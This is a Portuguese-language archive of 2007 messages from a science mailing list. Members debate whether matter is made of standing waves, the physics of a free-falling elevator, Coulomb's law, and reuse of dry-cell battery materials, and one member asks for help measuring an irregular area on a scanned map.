que uma realidade física é apenas isto: uma
entre várias possíveis.

Relevo isto quando penso o quanto somos
acomodados em conceber apenas um conjunto de
possibilidades para explicar os fenômenos
físicos, enquanto podem haver várias, todas
concorrentes entre si, exibindo resultados
equivalentes e possibilitando-nos entender um
Cosmos que é muito mais amplo e complexo do
que nossa vã filosofia.

Mudando de assunto, esta é a primeira vez que
leio um comentário a respeito da Teoria da
Velocidade Absoluta. Na Teoria Ondulatória da
Matéria, a velocidade da luz (c) tb é
considerada a única velocidade existente.
Todas as demais são consideradas resultantes
de c.

A conclusão de que a matéria é uma onda
estacionária em trajetória fechada é algo
interessante. Contudo ela tb esbarra na
questão do 'recipiente' ou 'anteparo' da onda.
Ou estarei enganado? Na Teoria da Velocidade
Absoluta, o que faz a onda de energia refletir
para tornar-se estacionária?

Grato,

Eduardo Sardeiro

----- Original Message -----
From: J.Victor
To: ciencialist@yahoogrupos.com.br
Sent: Tuesday, May 08, 2007 7:04 AM
Subject: Re: [ciencialist] Re: E=m.c2

JC,

"Hummm, a matéria é feita de ondas? Ondas de que? De matéria? :)"

O que irei adiantar, não corresponde ao que penso. Achei bastante
interessante,
por isso me animei a ler com atenção, a Teoria da Velocidade Absoluta, do
Professor
de telecomunicação Jaroslav Smit, autor de obras na área, como Ondas e
Antenas, Rádio e Propagação e Linhas de Comunicação, tudo da Èrica. Não sei
se se trata de engenheiro eletrônico que é físico, ou se é um físico que é
engenheiro eletrônico.
Numa pesquisa sobra antenas, encontrei, no Ondas e Antenas(e isso já faz
um bom tempo) noções de relatividade restrita, em vista do enfoque que dá à
Teoria do Eletromagnetismo. E também uma introdução à sua Teoria da
Velocidade Absoluta. Não uma velocidade qualquer, mas a das OEM, c, como era
para ser. Em suas palavras, página 251:

" A matéria, na Teoria da Velocidade Absoluta, é onda estacionária em
trajetória fechada.

Se esta matéria, onde não se percebe c externamente, for movida com
velocidade v, poderemos compor um triângulo de velocidades, incluindo c. Mas
ao compormos este triângulo de velocidades nota-se que a resultante, isto é,
a maior velocidade, ou hipotenua do triângulo, será forçosamente c. Assim,
as outras velocidades menores que c serão meros componentes de c.
Concluí-se, diz ele, que no mundo material não há velocidade independente de
c, já que no mundo material todas as velocidades são de matéria ou
energia.Podemos ilustrar com o modelo a seguir, estas várias velolcidades."
E seguem, três figuras:
a) Onda pura, representada por seta, para indicar a velocidade c;
b) Um círculo, para indicar a matéria em repouso, onde c é indicada por
uma seta apontando o sentido do movimento circular; e
c) algo como uma espiral, para indicar a matéria anima de velocidade v,
que aparece como um cateto do triângulo no qual a hipotenusa é c.

As seções seguintes exibem um estudo de triângulos onde tais idéias são
implementadas, matemática e geométricamente, em forma de catetos, com a
hipotenusa, que ele chama de lado da onda. Amarrando, sempre, c aos catetos,
constroi uma estrutura de onde retira os principais resultados da TRR. É um
pouco diferente dos estudos homólogos feitos por autores consagrados, que
usam triângulos como artifício de memorização de fórmulas. Seu enfoque
centra-se na tese acima, o que diferencia os desenvolvimentos. Assim,
encontram-se os seguintes triângulos: de velocidades, das massas, da
Energia, dos Momento, por aí em diante. Extrai, dessa forma, os resultados
conhecidos, usando os postulados da relatividade.

Tudo usando a idéia básica : A matéria, na Teoria da Velocidade Absoluta,
é onda estacionária em trajetória fechada.

Não sei se o Professor Smit ainda está por aquí. Encontrei na internet que
foi um dos fundadores do Mackenzie. Mas não encontrei mais nada a respeito
de sua teoria, ou a importância que lhe foi atribuída. Ao menos tem um
embasamento matemático consistente, embora a tese física seja questionável.
Mesmo assim, ainda hoje, vez ou outra seja mencionada, em outra forma, como
o fez o Sardeiro.

Contudo, prefiro ater-me ao que sei que funciona, que nunca virou a cara
ou fez muxôxo para a experimentação. Uma vida só é pouco para se extrair
todas as incidências da TR nossa de cada dia. Mas é interessante ler sobre
as tentativas, em busca de outras alternativas. Que são só tentativas, ao
fim e ao cabo.

Sobre E = m c^2, existe realmente um entendimento inadequado de qual o
papel de E e m, na equação. Mas deixa prá lá. Já se falou muito a respeito,
embora sem explicitar as essencialidades.

Sds,
Victor.

----- Original Message -----
From: José Carlos Antonio
To: ciencialist@yahoogrupos.com.br
Sent: Tuesday, May 08, 2007 12:27 AM
Subject: [ciencialist] Re: E=m.c2

Hummm, a matéria é feita de ondas? Ondas de que? De matéria? :)

Abraços,
JC

--- Em ciencialist@yahoogrupos.com.br, "Eduardo Sardeiro"
<eduardo@...> escreveu
>
> Prezados Senhores,
>
> Embora já tenha apresentado minha opinião a respeito desta
> célebre equação E=m.c2 e não ter sido bem entendido, volto
> a insistir em que ela é a maior evidência de que *a matéria é
> feita de ondas*.
>
> A questão é: de que tipo de onda a matéria é feita? O que a
> torna instável, a ponto de ser liberada em uma explosão nuclear
> e o que a torna estável a ponto de conservar o número de
> bárions?
>
> Sei que existem inúmeras explicações teóricas para estes
> fenômenos que não necessitam que a matéria seja feita de
> ondas.
>
> Entretanto, recentemente tem sido levantado a suspeita de que
> matéria são ondas estacionárias (ver Wave Structure of Matter),
> tendo o elétron como onda básica, capaz de gerar todas as
> demais partículas...
>
> Existem evidências de que isto é possível. Se for validado,
> teremos um trunfo na mão. Se não for, continuaremos na
> suspeita.
>
> Se o elétron é uma onda básica ou não, não vem ao caso ainda.
> Entretanto o maior ponto de discordia da Teoria Ondulatória
> da Matéria é onde tais ondas refletem para se tornarem
> estacionarias. Sim: já que partículas são ondas estacionárias elas
> precisam de um *anteparo* para refletir!
>
> A maioria dos especuladores supõem que as ondas de matéria
> propagam-se e refletem-se nas 'bordas' do Ether, explicando
> assim o porquê ocorrem interações mesmo entre objetos
> astronomicamente distantes e o porquê nunca temos um
> sistema perfeitamente isolado.
>
> Essa explicação falha, porque sabemos que o Ether preenche
> todo o Universo observável e que ele é extremamente grande.
> Levaria muito, muito, muito tempo para que houvesse a
> reflexão de uma onda estacionária tão minúscula como o
> eletron. Alguns alegam que a reflexão vem ocorrendo desde o
> inicio do Universo, é initerrupta e constante, logo não haveria
> necessidade de uma onda ir e vir para fazer ocorrer uma
> partícula... A onda sempre estaria ali, assim como o eletron de
> um fio carregado sempre esteve ali: ele não se propagou da
> Austrália para o Brasil, e sim a 'força eletromotriz' o fez
> movimentar-se.
>
> São vários blá-blá-blás de teorias que ainda não me deixaram
> satisfeito. Existe a necessidade de uma explicação razoável de
> como a onda de matéria reflete-se.
>
> Não pode ser em outra onda, pois ondas normais não refletem
> -se uma na outra. Elas podem colidir, ampliando, diminuindo ou
> mesmo anulando uma a outra. Não existe nenhum exemplo na
> natureza em que isso ocorra: não há reflexão entre ondas de
> intensidades nem de frequências diferentes. Elas sempre
> colidem.
>
> Venho analisando atualmente a possibilidade de ondas eletro-
> magnéticas com frequências tão infinitamente pequenas e
> contendo energias tão avalasadoras que sucumbiriam em
> 'espaços atemporais'. Ou seja, os *anteparo* seriam intervalos
> atemporais que aprisionariam as ondas de matérias,
> transformando-as no que chamamos de partículas. Isto
> evidenciaria o tempo uma entidade discreta e não contínua. As
> ondas estariam aprisionadas de tal forma que somente em
> colisões com outras partículas, sob determinados aspectos de
> massa e velocidade, poderiam liberá-las. Sob outras condições,
> as partículas poderiam ser absorvidas e por aí vai...
>
> Estes comentários são só esboços de um trabalho maior que
> tentam apenas demonstrar a grande evidência apontada por
> E=m.c2. E isto não pode ser contestado.
>
> Até a qualquer momento e um forte abraço.
>
> Eduardo Sardeiro
> http://br.groups.yahoo.com/group/NetProcessing/
>






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SUBJECT: Re: [ciencialist] Caiu na prova
FROM: "J.Victor" <j.victor.neto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 08/05/2007 16:08

Caro Léo,

Grato pelos comentários.
Mas farei algumas considerações a respeito de suas considerações.

----- Original Message -----
From: Luiz Ferraz Netto
To: ciencialist@yahoogrupos.com.br
Sent: Wednesday, May 02, 2007 11:37 AM
Subject: Re: [ciencialist] Caiu na prova


Léo: Vou comentar uma das tentativas do J. Victor:

"3)Finalmente, apelei para a Primeira Lei de Newton, que disse já conhecer. Antes de cortar a corta do elevador, todo mundo estava em repouso relativo, dentro do elevador(em relação a um referencial ligado ao elevador). Quando a corda é cortada, nenhuma força resultante haverá sobre ninguém, dentro do elevador; então, para o referencial do elevador, pela Primeira Lei de Newton, todos os corpos permanecerão em repouso. Mais uma vez, quem está de fora, verá todos caminharem para a destruição do mesmo jeito, bem comportadinhos, a mesma aceleração."

Victor: Não enxerguei erros conceituais no texto acima. Pode é ser que o texto não esteja lá esse primor de precisão. Mas só quis exprimir o essencial. Ou, sequer é um texto?...

Léo: Furou! ... a lei da inércia não vale para o referencial usado (o elevador em queda livre no campo da gravidade uniforme).

Victor: Vale. O elevador em queda livre é um referencial inercial.

Tome-se um corpo de referência interno, como suas paredes, para referir as posições de tudo quanto está alí dentro. Daí não é difícil inferir que todas as leis de Newton são válidas nele!. O campo gravitacional é anulado dentro dele, durante sua queda livre.

Léo: Nesse referencial (quando a corda é cortada), as pessoas continuam em repouso relativo por causa das forças de inércia (típica dos referenciais acelerados).

Victor: Sim, está correto. Mas em relação ao ref. fixo ao elevador. Em relação ao referencial terrestre, inercial, também, há que se considerar que há uma força agindo, a da gravidade, sobre o elevador e sua carga interna; portanto, para este, está em movimento acelerado, em queda livre. O observador interno dirá que estáem repouso em relação a corpos de referência internos; o o observador de fora verá tudo caindo do mesmo jeito, com a mesma velocidade em cada instante, não importando a natureza dos corpos observados, se um simples grão de areia ou uma tonelada de chumbo ou kriptonita.

Léo: As forças de inércia 'equilibram' as forças pesos. Vc não pode estudar o fenômeno "uma pedra caindo" colocando o referencial na pedra!

Victor: Não estou colocando o referencial na pedra, como já disse acima. Talvez não tenha me expressado bem e você tenha tido outra impressão. Mas talvez eu melhore um pouco, com os argumentos a seguir, que é misomenos o que disse mais acima, em outro enfoque.

Falei em referencial fixo ao elevador, de forma a que "veja" todos os corpos à volta parados em relação a ele. De fora, de um referencial fixo à terra, por exemplo, os corpos são vistos caindo igualmente, com a mesma velocidade, em cada instante, segundo a lei V + gt(V será esclarecido mais à frente). O elevador está acelerado para este último observador, fixo na terrinha que um dia o nosso juízo haverá de comer.


Léo: Há outro furo na frase:"Antes de cortar a corta do elevador, todo mundo estava em repouso relativo, dentro do elevador(em relação a um referencial ligado ao elevador)".

Victor: Então vejamos. Quando a corda é cortada, o elevador e tudo dentro tinham uma velocidade instantânea V, e uma aceleração diferente de zero, em relação ao referencial terrestre. Para o referencial interno, em relação às paredes do elevador, por exemplo, era zero; a não ser que a massa(passageiro) ficasse como a massa do Ferrari, em E = mc^2, pulando prá lá e prá cá. Naquele preciso instante, era esse seu estado de movimento. E a partir daquele preciso instante, a aceleração sobre ele e tudo o mais foi a zero, em relação ao corpo de referência fixo a ele. Entrou no regime de queda livre. Assim, para o referencial interno, inercial, pois está em queda livre, a velocidade do corpo continuará sendo zero; contudo, para o referencial externo, a velocidade do elevador e tudo o mais ligado a ele, continuará variando, conforme V+ gt, sendo V a velocidade instantânea no instante T, em que a corda foi cortada. Portanto, repito, este observador externo verá todo mundo caindo do mesmo jeito, de acordo com a lei de movimento acima, pois cada um está em repouso, dentro do elevador, em uns em relação aos outros.

Se dei a entender outra coisa, na prosopopéia anterior, paciência: foi incompetência mesmo.

Léo: Esse 'repouso relativo' derivou do fato da resultante das forças de interação ser nula (peso da pessoa + reação do assoalho do elevador). E, 'peso' é uma força externa à questão (pois o referencial é o elevador).

Victor: Sim, mas é exatamente por isso! O que a primeira Lei de decreta é a manutenção do estado de movimento, na ausência de forças. E mesmo quando o elevador não se encontra em queda livre um corpo dentro dele poderá estar em repouso em relação ao referencial interno, fixo. Quando a corda é cortada, ele continuará assim, só que com peso aparente nulo. Idem, os demais. Essa, a diferença. Na queda livre, "'peso' , uma força externa à questão", para o obs interno, tomará doril. Será anulado.

Léo: Esse equilíbrio relativo vale também para o referencial externo, o prédio e a terra!

Victor: Há restrições à sentença acima, embora sanáveis, pois, como está expressa, quer significar que você considera que um corpo acelerado, portanto sujeito a forças, esteja também em equilíbrio, para intervalos de tempo não desprezíveis. O sistema elevador, em queda livre, inercial, para um referencial fixo em seu interior, não o é para o referencial fixo à terra. As observações são diferentes, embora os efeitos do movimento relativo, em termos da energia mecânica envolvida, o fato físico em sí, sejam precisamente os mesmos.

Contudo, a não ser em intervalos de tempo tão pequenos que deltaV seja pequeno e V seja praticamente constante em tal intervalo, isto poderá ser assim considerado. Aliás, é usando esse argumento que se pode estudar o comportamento de um sistema acelerado, a partir de um inercial. Basta considerar um referencial inercial que, num dado instante T, tenha a mesma velocidade instantânea V do corpo acelerado nesse mesmo instante T, e referir todos os cálculos a este referencial. O resto serão considerações de passagem ao limite, essas coisas. São refinamentos de aplicações, dentro da teoria, tudo dentro dos conformes Newtonianos. Mas, para um intervalo grande, a coisa já não é assim, pois é evidente que a velocidade instantânea varia continuamente.

Trocando em miudos, em relação à terra o elevador e tudo que está dentro estão acelerados, com o mesmo g. Do ponto de vista do referencial fixo no interior do elevador que está em queda free é a terra que está acelerada e se dirigindo para ele. De qualquer jeito, se o pára-quedas não abrir tá tudo ferrado!

Para que outros da lista aproveitem melhor, usarei os argumentos adequados para justificar o que estou dizendo, argumentos esses, basilares no esquema de Newton, e encontrados nas melhores lojas de varejo, a preço de banana:

1 - Tudo quanto disse acima, e antes, só evidencia que isto só acontece devido ao fato observacional e experimental : massa inercial = massa gravitacional. E, ainda, devido ao Princípio da Relatividade de Todos os Movimentos, como requer o Primeiro Postulado, que outra coisa não é senão a Primeira Lei de Newton aplicada a toda a física, e não só a mecânica. Ninguém se livra de Newton assim, fácil.

2. Para o referencial terrestre, um objeto de massa M, dentro do elevador, está sujeito à gravidade, tal que:

Fgrav = Mgrav . g = Minercial . A, A = aceleração inercial, onde A = g, na queda free, como mencionado acima.

3. Assim, pois, para o referencial fixo ao interior do elevador em queda livre a aceleração resultante sobre qualquer corpo é zero. Ou seja,

A1 = A -g => A1 = 0

O que mostra que Fgrav nem fede nem cheira lá dentro, em queda livre. Se existirem outras forças sobre M, além da gravitacional, digamos, cuja soma vetorial seja F, teremos:

M.a = mg + F em relação ao ref. terrestre.

Em relação ao ref. no elevador, como é sabido, a coisa ficará assim:

M.A1 + M.g = M.g + F, daí que:

F = M. A1, o que prova a vós outros que o elevador em queda free é verdadeiramente(quase isso...) inercial, comporta-se como se de inércia fosse. E que as leis de Newton são válidas nele. Foi pensando em coisas como essas que Einstein mostrou a invariância relativística para todas as força não gravitacionais, de maneira geral. Portanto,

desSorry!



Sds,
Victor.


Sorry!

[]'

===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "J.Victor" <j.victor.neto@uol.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: terça-feira, 1 de maio de 2007 20:00
Assunto: Re: [ciencialist] Caiu na prova

Caro Prof.JC,

Quando lí esta questão, pensei o único que podia pensar: nada de trivial,a não só para quem é
maiorzinho de 8 anos... Mas não me animei em dar uma resposta. Hoje, pude acessar novamente minha caixa
e ví que os listeiros também não. Então, resolví falar um pouco. Mas fiz um teste. Meus sobrinhos estavam aquí
e peguei o do primeiro ano do segundo grau, que ainda não chegou nessas paragens. Primeiro, me disse que nada
sabia a respeito. Fiz-lhe a pergunta clássica, e ele respondeu como Aristóteles faria: é claro que a pedra pesada
chega ao solo primeiro que a outra, a mais leve! No exemplo seguinte, substituí a pedra mais leve por um pedaço
de papel. A resposta foi mais enfática ainda. Depois que ele me disse que o ar poderia influenciar nos movimentos,
indaguei: e se o ar fosse eliminado, como seriam as coisas agora? A resposta foi a mesma!. Acrescentando que
os corpos "desceriam" mais livremente!...
Então, depois de dizer-lhe que não era assim, passei aos seguintes argumentos:

1) Aquele que foi usado brilhantemente por Galileu, ao questionar as idéias de Aristóteles: se uma pedra pesada, A, estiver ligada a uma pedra mais leve, B, por um fio muito delgado, e se o conjunto for solto do alto de um edifício, ao mesmo tempo, o fio que interliga os dois retarda ou aumenta a velocidade com que o corpo cai? Se a proposição de Aristóteles está correta, acontecerá o seguinte:
a pedra A será retardada pela pedra B, que "anda" mais devagar. Mas, considerando o sistema pedra A+pedra B + fio muito delgado, teremos um corpo que é mais pesado que a pedra A sozinha. Assim, esse conjunto deverá cair mais rapidamente que a pedra A, segundo o mesmo Aristóteles. Assim, teremos uma situação esquesita: um corpo que retarda e adianta, ao mesmo tempo! Evidentemente, segundo Galileo e qualquer cara de juízo na cabeça, é de se concluir que isto não pode acontecer, que Aristóteles estava equivocado. Portanto, o jeito de eliminar este paradoxo(este, sim, um verdadeiro paradoxo) é admitir que tanto a pédra pesada A quanto a pedra menos pesada B caem do mesmo jeito, se considerado, claro, que o experimento é feito no vácuo; nessas condições, se largados no mesmo instante, chegarão ao solo no mesmo instante.
-Me disse, o sobrinho menos sabido, que o raciocícnio parecia lógico, mas ainda ficou um tempão olhando para teto, buscando entender melhor ou descobrir uma falha no raciocínio. Mas disse que entendeu; mas percebí que a convicção não era lá tanta convicção!

Usei, então, outro argumento:

2) Como ele anda de elevador, e sabe que quando o elevador está descendo ele tem aquela sensação esquesita, como se o estômago estivessa subindo(aquele famoso friozinho), e tem a impressão de que pesa menos, usei um exemplo típico: o elevador está amarrado por uma corda, que limita o seu movimento acelerado descendente. Se a corda for afrouxada o suficiente, isto dará ao passageiro a nítida sensação de que seu peso é menor do que se estivesse parado. Pareceu-me que disto, tem a noção prática, pois não questionou. O efeito sobre seu estômago é a testemunha, nisso concordou! Se agora, num dado instante da "queda" controlada, alguém cortar a corda(corda afrouxada totalmente...), o elevador despencará de vez e a força total sobre o passageiro será zero, pelo que seu peso aparente irá a zero. Poderá até ficar com os pés no piso, mas poderá igualmente levantá-los, pois ficará aí, flutuando, feito alma no céu. Tudo que está à sua volta sofrerá os mesmos efeitos, cairá do mesmo jeito para um observador inercial fora do elevador e estará em repouso relativo uns em relação aos outros, dentro do elevador. A pedra A e a pedra B, dentro do elevador,estariam paradas uma em relação à outra ou a qualquer coisa dentro do elevador. Mas um observador de fora, veria isto: a pedra A caindo ao lado da pedra B, enquanto o elevador, pedras e passageiros rumam para o desfecho final: bum!, ao colidir com o solo.(Pois, o sistema todo estará acelerado, ainda que os passageiros não saibam disso, em condições adequadas).

E, finalmente, um último cartucho:

3)Finalmente, apelei para a Primeira Lei de Newton, que disse já conhecer. Antes de cortar a corta do elevador, todo mundo estava em repouso relativo, dentro do elevador(em relação a um referencial ligado ao elevador). Quando a corda é cortada, nenhuma força resultante haverá sobre ninguém, dentro do elevador; então, para o referencial do elevador, pela Primeira Lei de Newton, todos os corpos permanecerão em repouso. Mais uma vez, quem está de fora, verá todos caminharem para a destruição do mesmo jeito, bem comportadinhos, a mesma aceleração.

Bem, mesmo assim, fiquei com a impressão de que ele precisará amadurecer mais, para absorver com mais propriedade as "trivialidades" acima. Talvez seja mais conveniente eu admitir que não fui competente na explicação e que fico devendo essa a ele. Mas voltarei a conversar, quando ele emadurecer mais o papo acima. Garantiu que irira pensar mais. Mas acabaou achando o assunto bem interessante e estimulante.

Uma das coisas que questionou foi sobre a queda, em si. E quer dizer que em queda livre você está flutuando, nada acontecerá? Pois não é isso que vejo quando alguém cai. Quebrei meu braço ano passado numa queda. Expliquei que a ausência de forças corre apenas
dentro do elevador, do ponto de vista do referencial ligado a ele. (Não foi explicado a ele que isto acontece devido a forças de inércia(impropriamente chamadas de fictíciais-ou não?) que surgem única e exclusivamente em sistemas acelerados, e devidas única e exclusivamente às acelerações, para grantir que a segunda lei de Newton seja válida dentro deles)). Uma mão lava a outra. Mas, se ele olhar para baixo, verá a terra acelerada em direção a ele, com aceleração g, como se estivesse sendo impulsionada por motores altamente potentes. (Que o melhor seria ele sair da frente e deixar que ela passe, senão...). Quer dizer, do ponto de vista de efeitos globais, nada muda, quer o referencial usado seja o o fixo ao elevador, ou o fixo em relação à terra. Cada um um destes "vê" o outro acelerado(Vale sempre o princípio da relatividade de todos os movimentos). E é onde mora o perigo. Quando se chocam, adeus.
Bem, isto ele entendeu. Acho que vai se dedicar à mecânica, como disse. Ele tem 15 anos. É aluno dedicado e estuda num bom colégio. Eu não saberia dizer se um garoto de 8 anos teria alguma noção do que quis dizer acima, mesmo melhorando os dizeres, exemplos, etc. Mas irei tentar. Estou curioso para saber que explicação você, ou alguém mais, daria a ele( o de 8) tal que ele compreeendesse.

Bem, caro Professor, esta minha tentativa de ser claro a respeito de algo que não é trivial, embora pareça. Este assunto, por si só,
daria umas trocentas mensagens.

Dos 3 argumentos, o de que mais gostou, foi exatamente o primeiro!

Espero que quando o amigo JR deixar o coitado do avião voar possamos tratar de assuntos assim.

Sds,
Victor.

----- Original Message -----
From: José Carlos Antonio
To: ciencialist@yahoogrupos.com.br
Sent: Sunday, April 29, 2007 9:28 PM
Subject: [ciencialist] Caiu na prova

Questãozinha que caiu na minha prova de Física para os aluninhos do
primeiro colegial:

Suponha que uma criança de oito anos lhe pergunte "quem cai mais
rápido: uma pedra pesada ou uma pedra mais leve?". O que você
responderia para ela e como a convenceria de sua reposta?

Abraços,
JC

[As partes desta mensagem que não continham texto foram removidas]

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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: OFF-TOPIC: Software para calcular área de mapa
FROM: "psdias" <psdias@gmail.com>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 08/05/2007 17:36

Peço licença para postar esta pergunta off-topic, pedindo
dica de algum software simples que consiga realizar o seguinte:

- Tenho um antigo mapa de um terreno (feito por um topógrafo
com quem não mais tenho contato.

- Com base nesse mapa topográfico, preciso calcular a área de uma
certa região MUITO IRREGULAR do terreno, e para isso pensei em fazer o seguinte
(ressalto que não sou topógrafo, nem desenhista, nem sei usar softwares
de desenho técnico ou artístico):

- Escanear o mapa e importar no AUTOCAD
(até aqui consegui fazer)

- Dentro do AUTOCAD, queria usar alguma ferramenta para demarcar a região
do mapa, e depois pedir ao AUTOCAD para calcular a área da região
(eu teria também de saber como indicar ao AUTOCAD que "tantos pixeis equivalem
a tantos metros").

- O problema é que eu não consegui usar o AUTOCAD. Apesar da tarefa que eu pretendia
realizar ser simples (apenas medir uma área), ele é um programa para quem é iniciado
na sua interface.

- Também tentei usar um software chamado MODELLUS (http://phoenix.sce.fct.unl.pt/modellus/),
que é muito interessante para professores e alunos de Física e Matemática. Ele possui um recurso
exatamente como mencionei acima. Porém, ao importar a imagem escaneada, as extremidades do
mapa ficam "cortadas" (ocultas) na janela do software, e eu perco um bom pedaço do desenho (o
MODELLUS não possui recurso de zoom, redimensionamento, etc. - eu teria de mexer no tamanho da
imagem em algum outro software gráfico, mas nesse caso perderia muito em precisão).

- Enfim, alguém conhece algum software não muito complicado de usar, onde eu pudesse
executar a tarefa que descrevi ?

Muito obrigado pela atenção de todos
Paulo

[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: OFF-TOPIC: Software para calcular área de mapa
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 08/05/2007 17:50

--- Em ciencialist@yahoogrupos.com.br, "psdias" <psdias@...> escreveu
> - Enfim, alguém conhece algum software não muito complicado de usar,
> onde eu pudesse executar a tarefa que descrevi ?

Tem um método muito simples.

Vc pode pegar o desenho do mapa em um papel, recortar o contorno e
pesá-lo. Agora vc pega um pedaço quadrado do mm papel com área
conhecida e faz o mm.

Aplica a regra de três.

(Tomar o cuidado para q o papel usado seja relativamente uniforme.)

Outro modo, mais trabalhoso, é dividir o mapa em vários quadrinhos.
Qto menor o quadriculado melhor - até o limite em q a espessura da
linha da grade não distorça a área das quadrículas.

[]s,

Roberto Takata



SUBJECT: Fw: Preciso fazer uma pergunta, pois estou c/ uma duvida
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: "ciencialist" <ciencialist@yahoogrupos.com.br>
DATE: 08/05/2007 18:11

Que tipo de resposta melhor convém à consulente que retorna aos estudos?

Será que essa satisfaz?
++++++++++++++++++++++++
Olá Claodinice,
a lei de Coulomb foi estabelecida para 'cargas elétricas puntiformes', ou seja, cargas elétricas depositadas em corpos cujas dimensões próprias sejam irrelevantes em confronto com as distâncias que as separam. Assim, duas esferas eletrizadas de raios 5 cm e a 10 m de distância uma da outra satisfazem bem a lei de Coulomb, MAS, se colocadas a 20 cm uma da outra, já não satisfaz mais. A 10 m de distância uma da outra, suas cargas podem ser pensadas como 'concentradas' no centros geométricos das esferas (centros elétricos coincidem com os centros geométricos), mas a 20 cm uma da outra, os 'centros elétricos' não mais coincidem com os centros geométricos das esferas e então a 'tradicional' lei de Coulomb deve sofrer alterações (por vezes, sérias alterações!).
++++++++++++++++++++++++

que acham?

[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: Claodinice Vargas
Para: leobarretos@uol.com.br
Enviada em: sábado, 5 de maio de 2007 19:18
Assunto: Preciso fazer uma pergunta, pois estou c/ uma duvida


Olá, professor! Eu estou voltando a estudar, pois eu vou fazer o vestibular. E estou revendo a materia de fisica. Essa eh a pergunta:
A Lei de Coulomb pode ser usada para se calcular a força de interaçao eletrica entre dois objetos quaisquer eletrizados? Por quê?

Espero q vc possa me ajudar!

Atenciosamente, Claudinice!



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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Fw: Pilha
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: "ciencialist" <ciencialist@yahoogrupos.com.br>
DATE: 08/05/2007 18:43

Aceito sugestões para a resposta.

Só não vale dizer: construa com esses materiais ... outra pilha!

:-)

[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: Maria da Penha Machado
Para: leobarretos@uol.com.br
Enviada em: sexta-feira, 4 de maio de 2007 10:56
Assunto: Pilha


Leo

Sou aluna de uma Universidade e tenho que apresentar um seminario onde tenho que demonstrar que o que se tira da pilha pode ser aproveitado para fazer outra experiencia no laboratorio, como por exemplo:
Grafite, Zn0 , MnO2, NH4Cl e ZnCl2 (pilha seca) em que posso usar estes materiais que foram tirados da pilha.





Obrigada



Maria da Penha



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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Fw: Informa��es importantes
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: "ciencialist" <ciencialist@yahoogrupos.com.br>
DATE: 08/05/2007 18:44

Tem alguém do Rio de Janeiro nessa lista que possa transmitir a ajuda necessária?

[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: Marcio Ortman
Para: leobarretos@uol.com.br
Enviada em: sexta-feira, 4 de maio de 2007 09:31
Assunto: Informações importantes


Prezado Professor,

Antes de mais nada quero parabenizá-lo pela página, onde podemos ter as mais variadas e importantes informações sobre os diversos campos da ciência.
Participo de uma empresa de eventos e promoções aqui no Rio de Janeiro e, estamos desenvolvendo um projeto voltado para as comunidades carentes do município e do estado. Queremos levar às crianças e jovens desses locais, informações sobre a correta utilização da energia elétrica. A idéia é criar nos " consumidores futuros " ( crianças e jovens ) a consciência do que a energia elétrica nos traz em termos de conforto e, principalmente segurança. Um exemplo: nossa intenção é mostrar como " nasce " a energia elétrica, como hidroelétrica, termoelétricas e demais fontes fornecedoras de energia. A energia elétrica é paga ( os investimentos feitos pelas distribuidoras é muito grande - as pessoas, de modo geral, não dão muita atenção para isso, só sentindo na pele quando a energia falta ). Vamos mostrar que furtar energia elétrica ( o famoso " gato " ) é crime, além de extremamente perigoso, com risco de vida. Mostrar os riscos como soltar pipas perto dos fios da rede elétrica, subir em postes, etc... . É importante mostrar como utilizar corretamente a energia elétrica, através da manutenção dos aparelhos elétricos ( não secar roupas na parte de trás de geladeiras, não sobrecarregar as tomadas com benjamins em demasia ). Enfim, tentar, através de uma maneira lúdica o que é a energia elétrica.
Para não tornar o assunto " chato " e com isso perder a atenção de nosso público, pretendemos encenar uma peça teatral com personagens mostrando esses assuntos de maneira divertida. Pretendemos colocar artefatos, mostrando como " criar " eletricidade, como uma bicicleta que ao ser pedalada, acende o seu farol através do dinamo. Que tipo de colaboração poderíamos obter do senhor à respeito do assunto ? Além da bicicleta citada, que outros " brinquedos " ( se é que podemos chamar assim ) poderíamos exemplificar para as crianças ? Para não tomar muito o seu tempo, procurei resumir o assunto, mas eu acho que deu para o senhor entender, não ?

Agradeço antecipadamente a sua atenção,

Obrigado,

Marcio Ortman


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Version: 7.5.467 / Virus Database: 269.6.5/793 - Release Date: 07/05/2007 14:55


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Material, imaterial e amaterial/Era Re: E=m.c2
FROM: Manuel Bulcão <manuelbulcao@uol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 08/05/2007 19:28

Olá João de Carvalho,

Gostei muito da sua mensagem!

Mas, infelizmente, por absoluta falta de tempo, só irei comentar
algumas partes, brevemente.

<...se nós somos um padrão informacional...>

Qualquer organismo vivo é "basicamente" informação, Oparin afirmou
isso. Afora aqueles cuja vida é muito curta, os seres vivos estão
constantemente renovando a matéria da qual são constituídos,
inclusive a do seu material genético, ao ponto de chegar o momento em
que todos os átomos que existiam em seu corpo, em determinado período
de tempo, cederam o lugar a outros. O que resta? A "estrutura"
determinada pela "informação". Estou certo, Takata?

<...ao morrermos nós continuamos a existir potencialmente, pois este
padrão informacional poderia ser recriado, especialmente se essa
informação ficar ecoando em alguma espécie de "campo."

Quanto a esse campo "órfico" que você aludiu, uma espécie de "limbo"
onde subsistiriam os fantasmas - "ecos" de subjetividades - e,
talvez, as almas entre uma encarnação e outra, sou bastante cético
com relação a isso, apesar de achar a idéia bastante poética.

